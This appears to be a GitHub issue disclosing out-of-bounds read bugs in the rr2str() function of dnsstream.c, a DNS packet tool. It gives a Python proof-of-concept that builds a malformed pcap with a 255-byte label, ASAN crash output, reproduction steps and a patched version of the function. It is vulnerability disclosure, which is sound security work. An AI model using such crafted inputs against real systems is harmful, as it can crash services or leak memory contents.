-
Notifications
You must be signed in to change notification settings - Fork 2
Description
Summary
The rr2str() function in dnsstream.c contains critical out-of-bounds read vulnerabilities:
- Missing bounds checks - No validation before reading from packet buffer
- DNS compression pointer mishandling - Bytes >= 0xC0 are treated as label lengths (192-255), causing massive OOB reads
A malformed DNS packet with a truncated name field, or even legitimate DNS traffic using compression pointers, can cause the program to read past the packet buffer into adjacent memory.
Affected Code
File: dnsstream.c
Function: rr2str()
Lines: 59-70
static char *
rr2str(const uint8_t **ptrptr, const uint8_t *end) {
static char res[1024];
static char *dend = res + sizeof res;
char *dst = res;
uint8_t l;
const uint8_t *ptr = *ptrptr;
while (1) {
l = ptr[0]; // [VULN] No check if ptr < end before dereference
ptr++;
if (l <= 0)
break;
if (dst > res)
*dst++ = '.';
if (dst + l + 1 >= dend)
break;
memcpy(dst, ptr, l); // [VULN] No check if ptr + l <= end before memcpy
dst += l;
ptr += l;
}
*dst = '\0';
*ptrptr = ptr;
return res;
}Vulnerability Details
Issue 1: Unvalidated Read at Line 60
l = ptr[0];The function reads from ptr without first verifying that ptr < end. If the packet is truncated such that ptr points beyond the packet buffer, this dereference causes an out-of-bounds read.
Issue 2: Unvalidated memcpy at Line 68
memcpy(dst, ptr, l);After reading the label length l, the function copies l bytes from ptr without verifying that ptr + l <= end. A malformed DNS packet can specify a label length that extends beyond the actual packet data.
Issue 3: DNS Compression Pointer Mishandling (CVE-LIKE-002)
DNS supports message compression (RFC 1035 Section 4.1.4) using pointer bytes >= 0xC0. The function has no handling for compression pointers:
l = ptr[0]; // If ptr[0] = 0xC0, l = 192!
// ...
memcpy(dst, ptr, l); // Reads 192 bytes - massive OOB!| Pointer Value | Bytes Read | Description |
|---|---|---|
0xC0 |
192 | Minimum compression pointer |
0xFF |
255 | Maximum OOB read |
Critical: Unlike truncated packets, compression pointers are used by virtually all DNS servers. This vulnerability can be triggered by legitimate DNS traffic.
ASAN Proof of Vulnerability
Method 1: Direct PCAP Exploitation (Original Binary)
The vulnerability can be triggered in the unmodified dnsstream binary using a crafted pcap file:
Set a small snaplen in the pcap header. libpcap allocates its internal buffer based on snaplen, so a small snaplen + large overflow = ASAN detection.
Crafted PCAP Structure
# poc_cve001.py - Key parameters
snaplen = 66 # Small buffer allocation by libpcap
label_length = 0xFF # 255 bytes - maximum overflow
actual_data = 3 # Only 3 bytes provided
# Overflow: 255 - 3 = 252 bytes past buffer!Compilation & Execution
# Compile dnsstream with ASAN
clang -fsanitize=address -g -o dnsstream_asan dnsstream.c -lpcap
# Generate malformed pcap
python3 poc_cve001.py
# Trigger vulnerability
./dnsstream_asan poc_max_overflow.pcapASAN Output (Original dnsstream Binary)
=================================================================
==2628068==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7ba799be0062
READ of size 255 at 0x7ba799be0062 thread T0
#0 0x0000004a38be in __asan_memcpy
#1 0x0000004eacb0 in rr2str dnsstream.c:68:9
#2 0x0000004ea79c in main dnsstream.c:148:16
0x7ba799be0062 is located 0 bytes after 66-byte region [0x7ba799be0020,0x7ba799be0062)
allocated by thread T0 here:
#0 0x0000004a5c68 in malloc
#1 0x7f379ac92578 in libpcap.so (pcap_fopen_offline_with_tstamp_precision)
#2 0x7f379ac920b4 in pcap_open_offline_with_tstamp_precision
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
==2628068==ABORTING
Analysis
| Finding | Value |
|---|---|
| Error Type | heap-buffer-overflow |
| Operation | READ of size 255 |
| Vulnerable Function | rr2str() at dnsstream.c:68 (memcpy) |
| Buffer Size | 66 bytes (allocated by libpcap based on snaplen) |
| Overflow | 189 bytes past buffer end (255 - 66 = 189) |
| Buffer Allocator | libpcap (pcap_fopen_offline_with_tstamp_precision) |
Note: The default snaplen in dnsstream is 2048 bytes (line 108). With a large internal buffer, small overflows don't reach ASAN's redzone. The crafted pcap uses snaplen=66 to force a smaller allocation.
Proof of Concept Files
1. Malformed PCAP Generator (poc_cve001.py)
Generates pcap files that trigger the vulnerability in the original dnsstream binary:
#!/usr/bin/env python3
"""
PoC: Trigger OOB read in dnsstream via truncated DNS QNAME
Key: Small snaplen forces libpcap to allocate small buffer
"""
import struct
def create_pcap_header(snaplen=66): # Small snaplen!
return struct.pack('<IHHIIII',
0xa1b2c3d4, 2, 4, 0, 0, snaplen, 1)
def create_malformed_dns():
dns_header = struct.pack('>HHHHHH',
0x1234, # Transaction ID
0x8180, # Flags: Response, No Error
0x0001, # QDCOUNT: 1
0x0001, # ANCOUNT: 1
0x0000, 0x0000
)
truncated_qname = bytes([
0xFF, # Label length: 255 (maximum)
0x41, 0x41, 0x41 # Only 3 bytes of data
])
return dns_header + truncated_qname2. PCAP Test Wrapper (test_pcap_asan.c)
Alternative test that copies pcap data to exact-size buffers:
clang -fsanitize=address -g -o test_pcap_asan test_pcap_asan.c -lpcap
./test_pcap_asan poc_truncated_qname.pcapRecommended Fix
Add bounds checks and compression pointer handling:
static char *
rr2str(const uint8_t **ptrptr, const uint8_t *end) {
static char res[1024];
static char *dend = res + sizeof res;
char *dst = res;
uint8_t l;
const uint8_t *ptr = *ptrptr;
while (1) {
if (ptr >= end) // FIX: Check bounds before reading length
break;
l = ptr[0];
// FIX: Handle compression pointer (RFC 1035 Section 4.1.4)
if ((l & 0xC0) == 0xC0) {
ptr += 2; // Skip 2-byte pointer
break;
}
ptr++;
if (l == 0)
break;
if (ptr + l > end) // FIX: Check bounds before memcpy
break;
if (dst > res)
*dst++ = '.';
if (dst + l + 1 >= dend)
break;
memcpy(dst, ptr, l);
dst += l;
ptr += l;
}
*dst = '\0';
*ptrptr = ptr;
return res;
}This fix addresses:
- Issue 1 & 2: Bounds checks before reading
ptr[0]and beforememcpy - Issue 3: Compression pointer detection and safe handling
References
- RFC 1035 - Domain Names - Implementation and Specification
- RFC 1035 Section 4.1.4 - Message Compression
- CWE-125: Out-of-bounds Read
- CWE-126: Buffer Over-read
- CWE-754: Improper Check for Unusual or Exceptional Conditions
Reproduction Steps
Method 1: Original Binary with Crafted PCAP (Recommended)
# 1. Clone repository
git clone <repo>
cd dnsstream
# 2. Compile dnsstream with ASAN
clang -fsanitize=address -g -o dnsstream_asan dnsstream.c -lpcap
# 3. Generate malformed pcap files
python3 poc_cve001.py
# 4. Trigger vulnerability - observe ASAN heap-buffer-overflow
./dnsstream_asan poc_max_overflow.pcapEnvironment
- Tool: dnsstream
- File: dnsstream.c
- Vulnerable Function:
rr2str() - Vulnerable Lines: 60, 68
- Compiler: clang with
-fsanitize=address - OS: Linux